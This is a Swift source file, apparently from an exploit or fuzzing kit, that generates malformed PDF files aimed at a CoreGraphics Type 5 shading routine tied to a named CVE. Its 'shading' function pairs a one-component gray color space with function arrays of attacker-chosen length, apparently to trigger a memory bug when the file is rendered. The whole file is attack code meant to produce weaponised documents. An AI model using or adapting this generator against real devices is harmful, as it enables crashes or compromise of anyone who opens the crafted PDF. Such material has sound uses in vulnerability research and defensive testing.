// cg.shading · CoreGraphics · _cg_shading_type5_draw · CVE-2026-112611
import Foundation

// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B {
    static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
    static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
    static func be32(_ v: UInt32) -> [UInt8] {
        [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
    }
    static func le32(_ v: UInt32) -> [UInt8] {
        [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
    }
    static func be64(_ v: UInt64) -> [UInt8] {
        (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
    }
    static func le64(_ v: UInt64) -> [UInt8] {
        (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
    }
    static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
    static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
    static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
}


// ── seed construction (from Cinder27 Sources: PDFPayload) ──
enum PDFPayload {
struct BitWriter {
    private(set) var out: [UInt8] = []
    private var acc: UInt8 = 0
    private var nbits = 0

    mutating func put(_ value: UInt32, _ width: Int) {
        guard width > 0 else { return }
        for i in stride(from: width - 1, through: 0, by: -1) {
            acc = (acc << 1) | UInt8((value >> UInt32(i)) & 1)
            nbits += 1
            if nbits == 8 { out.append(acc); acc = 0; nbits = 0 }
        }
    }

    mutating func putExpGolomb(_ value: UInt32) {
        let v = value + 1
        var bits = 0
        while (v >> UInt32(bits)) > 1 { bits += 1 }
        for _ in 0..<bits { put(0, 1) }
        put(v, bits + 1)
    }

    mutating func flush() -> [UInt8] {
        if nbits > 0 { out.append(acc << (8 - nbits)); acc = 0; nbits = 0 }
        return out
    }
}

struct PDFBuilder {
    private var objects: [Int: (dict: String, stream: [UInt8]?)] = [:]

    mutating func add(_ n: Int, _ dict: String, _ stream: [UInt8]? = nil) {
        objects[n] = (dict, stream)
    }

    func data() -> Data {
        var out = Data("%PDF-1.7\n%\u{e2}\u{e3}\u{cf}\u{d3}\n".utf8)
        var offsets: [Int: Int] = [:]
        for n in objects.keys.sorted() {
            guard let obj = objects[n] else { continue }
            offsets[n] = out.count
            out.append(Data("\(n) 0 obj\n".utf8))
            out.append(Data(obj.dict.utf8))
            if let stream = obj.stream {
                out.append(Data("\nstream\n".utf8))
                out.append(Data(stream))
                out.append(Data("\nendstream".utf8))
            }
            out.append(Data("\nendobj\n".utf8))
        }
        let xrefPos = out.count
        let maxObj = objects.keys.max() ?? 0
        out.append(Data("xref\n0 \(maxObj + 1)\n0000000000 65535 f \n".utf8))
        for n in 1...max(maxObj, 1) {
            let off = offsets[n] ?? 0
            out.append(Data(String(format: "%010d 00000 n \n", off).utf8))
        }
        out.append(Data("trailer\n<< /Size \(maxObj + 1) /Root 1 0 R >>\nstartxref\n\(xrefPos)\n%%EOF\n".utf8))
        return out
    }
}

static func shading(rangeDim: Int, value: Double = 1.0, verticesPerRow: Int = 2, rows: Int = 2) -> Data {
        let bpCoord = 32
        let bpComp = 8

        var bw = BitWriter()
        var verts: [(UInt32, UInt32)] = []
        for r in 0..<rows {
            for c in 0..<verticesPerRow {
                verts.append((UInt32(0x1000_0000 + c * 0x0800_0000), UInt32(0x1000_0000 + r * 0x0800_0000)))
            }
        }
        for (x, y) in verts {
            bw.put(x, bpCoord)
            bw.put(y, bpCoord)
            bw.put(0, bpComp)
        }
        let stream = bw.flush()

        let c = String(format: "%.17g", value)
        let list = Array(repeating: c, count: max(1, rangeDim)).joined(separator: " ")
        let rangeList = Array(repeating: "0 1", count: max(1, rangeDim)).joined(separator: " ")

        var pdf = PDFBuilder()
        pdf.add(1, "<< /Type /Catalog /Pages 2 0 R >>")
        pdf.add(2, "<< /Type /Pages /Kids [3 0 R] /Count 1 >>")
        pdf.add(3, "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] /Resources << /Shading << /Sh1 5 0 R >> >> /Contents 4 0 R >>")
        pdf.add(4, "<< /Length 8 >>", B.ascii(" /Sh1 sh"))
        pdf.add(5, "<< /ShadingType 5 /ColorSpace /DeviceGray /BitsPerCoordinate \(bpCoord) /BitsPerComponent \(bpComp) /VerticesPerRow \(verticesPerRow) /Decode [0 200 0 200 0 1] /Function 6 0 R /Length \(stream.count) >>", stream)
        pdf.add(6, "<< /FunctionType 2 /Domain [0 1] /N 1 /C0 [\(list)] /C1 [\(list)] /Range [\(rangeList)] >>")
        return pdf.data()
    }

}